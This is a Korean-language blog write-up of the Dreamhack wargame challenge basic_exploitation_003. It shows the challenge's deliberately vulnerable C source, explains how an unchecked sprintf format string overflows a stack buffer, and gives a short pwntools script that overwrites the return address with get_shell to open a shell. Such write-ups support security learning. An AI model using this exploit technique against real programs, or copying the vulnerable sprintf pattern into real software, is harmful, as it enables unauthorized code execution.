워게임

[시스템 해킹] basic_exploitation_003 write-up

sewoo-jjang 2026. 2. 4. 19:06

https://dreamhack.io/wargame/challenges/5

 

로그인 | Dreamhack

페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!

dreamhack.io

1. 소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}
  • 코드에 get_shell함수가 있는것을 보니 이 함수를 무조건 이용하는것으로 보임
  • sprinf라는 취약점이 존재함을 확인

2. sprintf()의  취약점

int sprintf(char *dest, const char *format, ...);
  • sprintf() 함수는 format에 있는 char를 dest 로 복사하는 명령어로 다음과 같이도 사용할 수 있다.
char buf[100];
sprintf(buf, "Hello %s", "world");
  • 그런데 위에 코드를 보면 sprintf(stack_buf, heap_buf); 이렇게 되어있어 heap_buf에 %(포멧 지정자)가 포함되어있다면 추가 인자가 필요한 상황이다.
  • 만약 %(포멧 지정자)가 포함되어 있고 추가 인자가 없다면 현재 스택에 있는 쓰레기 값을 가져와 덮어쓰게 된다.

  →  고로 %.144x를 입력값으로 준다면 stack_buf가 다 덮이는 꼴이 되어 bof 가 발생함을 예상할 수 있다.

3. 프로그램 실행

  • 다음과 같이 '%.144s'를 입력값으로 준다면 stack_buf의 크기를 초과하여 Segmentation fault가 발생했음을 확인할 수 있다.

4. payload 작성

from pwn import *

p = process('./basic_exploitation_003')

get_shell_add = 0x8048669

pay = b'%.152x'
pay += b'a'*4
pay += p32(get_shell_add)

p.sendline(pay)

p.interactive()
  • payload의 첫 번째에 152개의 문자가 들어가는 이유는 

  • stack_buf 변수가 ebp로부터 0x98(=152)만큼 떨어저 있기 때문임
  • get_shell의 함수 주소는 IDA나 gdb로 얻도록 하자

5. 실행결과

  • 정상적으로 작동함을 확인할 수 있다.